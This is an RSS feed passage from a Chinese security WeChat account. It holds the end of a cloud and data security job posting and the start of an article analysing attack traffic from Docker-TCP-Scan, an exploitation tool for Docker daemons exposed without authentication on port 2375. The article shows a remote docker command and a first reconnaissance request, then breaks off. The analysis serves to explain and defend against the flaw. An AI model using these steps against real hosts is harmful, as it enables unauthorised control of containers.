15px;">负责国际云基础设施安全建设，完善云基础设施安全体系化防护</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">负责云平台及基础设施安全架构的风险评估，输出安全风险治理方案并推动落地</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">负责云基础设施安全能力和安全运营平台化工具建设，优化云风险管控与运营效率</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">跟踪和研究云安全领域及DevSecOps的最新技术和趋势，持续提升蚂蚁国际业务云安全防护水位</span></p></li></ol></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">职位要求</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉阿里云场景下公有云/混合云平台的安全架构、安全策略、最佳实践和标准</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">对公有云容器安全、K8S安全、云平台安全等有相关研究，熟悉常见漏洞检测和防护方案</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">在容器安全（镜像安全、网络安全、运行时安全、配置扫描等）一个方面或多个方案有落地经验</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉公有云常见安全产品CIEM/CSPM等，对云上防火墙、安全组、身份访问安全等具备使用经验</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉至少一种编程语言（如JAVA、PYTHON）</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">有公有云安全认证证书和云厂商CTF大赛获奖优先</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">有云原生安全技术经验者优先</span></p></li></ol></section></section></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p><section style="-webkit-tap-highlight-color: transparent;margin-top: 20px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;background-color: rgb(41, 115, 248);min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: -8px;margin-bottom: -8px;outline: 0px;text-align: center;user-select: text !important;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 48px;height: 48px;vertical-align: top;overflow: hidden;border-radius: 235px;background-color: rgb(231, 241, 254);border-style: solid;border-width: 7px;border-color: rgb(255, 255, 255);user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-top: 3px;outline: 0px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(41, 115, 248);user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">04</strong></p></section></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 12px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;color: rgb(41, 115, 248);user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">数据安全工程师</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;padding: 29px;outline: 0px;display: inline-block;width: 657px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(245, 245, 245);user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">职位描述</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">基于蚂蚁国际业务场景，分析评估数据安全的风险现状，设计并推动数据安全保障方案落地</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">制定运营指标，建设运营平台、流程和策略，降低数据泄露风险，负责数据安全事件响应处置</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">负责各个业务域的数据风险识别、数据安全风险评估工作</span></p></li></ol></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section><section style="-webkit-tap-highlight-color: transparent;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 1;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: center;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 16px;height: 16px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 5px;border-color: rgb(41, 115, 248);border-radius: 157px;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section></section></section></section><section style="-webkit-tap-highlight-color: transparent;padding-left: 9px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;min-width: 5%;flex: 0 0 auto;height: auto;user-select: text !important;"><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><strong style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;">职位要求</strong></p></section></section></section><section style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: justify;user-select: text !important;"><ol class="list-paddingleft-1" style="-webkit-tap-highlight-color: transparent;outline: 0px;list-style-position: outside;padding-left: 30px;user-select: text !important;"><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">计算机、信息安全类相关专业，3年以上信息安全工作经验</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉主流的数据安全技术解决方案，包括但不限于权限管理平台、数据加密、数据防泄漏、数据脱敏、API安全、数据资产安全管理等；</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">熟悉云安全，有云安全经验，阿里云为主</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">大型企业数据安全管理落地实践工作经验优先</span></p></li><li><p style="-webkit-tap-highlight-color: transparent;outline: 0px;user-select: text !important;"><span style="font-size: 15px;">有良好组织协调及跨部门沟通能力，英语可作为日常办公交流语言加分项：拥有CISSP/CISA资质</span></p></li></ol></section></section></section><p style="-webkit-tap-highlight-color: transparent;outline: 0px;text-wrap: wrap;user-select: text !important;"><br/></p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485586">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9f443ebd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485586%26idx%3D1%26sn%3D52d63180d03282ac2518851357c5d67c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Oct 2024 12:54:00 +0800</pubDate>
    </item>
    <item>
      <title>Docker-TCP-Scan 云安全武器流量分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485581&amp;idx=1&amp;sn=e959ea88ccd08d31e1ba0462ab775d4e</link>
      <description>让我们跟随神风静默师傅的脚步，深入学习和利用Docker Remote API接口的利用，该缺陷利用容易、危害巨大，要注重云上安全啦~</description>
      <content:encoded><![CDATA[<p>
<span>神风静默</span> <span>2024-08-20 19:31</span> <span style="display: inline-block;">广东</span>
</p>

<p>让我们跟随神风静默师傅的脚步，深入学习和利用Docker Remote API接口的利用，该缺陷利用容易、危害巨大，要注重云上安全啦~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7522868c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FDsBvLSPrhqYtgtAXADOAGSiazdcCdP3VzvucWTbfcsXfLoOtyhwWLRDJ6jDHShvgibajGKJiazLElzt8SIiaYofialg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-immersive-translate-walked="e8f26d5c-e1bc-43e0-a3cf-898d5e2b4f8e" style="margin-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;text-align: left;"><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">Docker-TCP-Scan 云安全武器流量分析</span></h1><p><strong><span style="">随着企业上云逐渐形成了趋势和规模，云安全也成为了新的焦点和『风口』，云上安全越来越重要；在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口</span></strong></p><p><span style=""><br/></span></p><p><span style="">了解过 </span><code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Docker Remote API</code><span style=""> 的师傅应该都知道2375端口，2375是Docker远程操控的默认端口，通过这个端口可以直接对远程的docker daemon进行操作；</span></p><p><span style=""><br/></span></p><p><span style="">当主机以 </span><code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">DOCKER_OPTS=&#34;-H tcp://0.0.0.0:2375&#34;</code><span style=""> 这样的配置方式启动Docker时，可以在外部机器对 </span><code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Docker Remote API</code><span style=""> 进行直接操作：</span><code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">docker -H tcp://$HOST:2375 ps</code></p><p><span style=""><br/></span></p><p><strong><span style="">但Docker本身没有身份认证的功能，只要能访问到API服务端口，就可以操作Docker！</span></strong></p><p><span style=""><br/></span></p><p><span style="">这就造成了非常严重的漏洞！能够直接通过 </span><code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Docker Remote API</code><span style=""> 对相关运行的容器下发恶意命令！网络上对于 <span style="color: rgb(37, 132, 181);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgba(27, 31, 35, 0.05);">Docker Remote API </span><span style="color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;">利用和详细分析的文章几乎没有，本文就曾哥开源的针对 Docker TCP socket 的利用工具 </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;letter-spacing: 0em;text-align: left;text-wrap: wrap;color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Docker-TCP-Scan</code><span style="color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;"> 进行详细的攻击流量分析。</span><span style="color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;">通过使用 </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;letter-spacing: 0em;text-align: left;text-wrap: wrap;color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yakit</code><span style="color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;"> 抓包工具，我们能够获取并解读全程攻击流量，揭示攻击的具体步骤。</span></span></p><p><span style=""><span style="color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;"><br/></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001932" data-ratio="0.2242152466367713" data-s="300,640" style="" data-type="png" data-w="223" src="https://wechat2rss.xlab.app/img-proxy/?k=f73a9e0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibdus3RibFDrNJJ0Ol1FrAcE4IBeUOcnkKYkWrHM0aBSJ8FAVIWmvZF52zEZ9A7Zp2RqSznQ7iaZU0SQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="text-decoration: underline;">同时感谢国际云安全联盟（CSA）渗透测试工作组对本开源工具提出的建议</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 4px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding-top: 2px;padding-right: 4px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">GitHub地址</span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;">AabyssZG/Docker-TCP-Scan: 旨在以攻促防，针对Docker TCP socket的开源利用工具 </p><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;"><span style="text-decoration: underline;"><a href="https://github.com/AabyssZG/Docker-TCP-Scan" target="_blank">https://github.com/AabyssZG/Docker-TCP-Scan</a></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 4px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding-top: 2px;padding-right: 4px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">使用yakit抓包分析流量获取全攻击流程</span><span style="display: none;"></span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100000049" data-ratio="0.18344308560677328" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1063" src="https://wechat2rss.xlab.app/img-proxy/?k=894ce7b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FDsBvLSPrhqYtgtAXADOAGSiazdcCdP3Vzf1v5ff78kExOGibq2dek8MhFy1YJuFhq9Aia3r8nuqy4wHZrzc8IEibsw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 4px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding-top: 2px;padding-right: 4px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">攻击流程分析</span><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="background-image: linear-gradient(45deg, transparent 48%, rgb(37, 132, 181) 48%, rgb(37, 132, 181) 52%, transparent 52%);align-items: unset;background-attachment: scroll;background-clip: border-box;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: 30px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-bottom: -11px;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: 30px;-webkit-box-reflect: unset;"></span><span style="color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 2px;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding: 2px 10px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">步骤一：获取 Docker 信息</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;">攻击者通过发送 <code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">GET</code> 请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375)，该端口默认情况下不要求认证，极易被攻击者利用进行信息泄露。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">请求内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">GET /containers/json HTTP/1.1<br/>Host: XXXXXXX:2375<br/>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 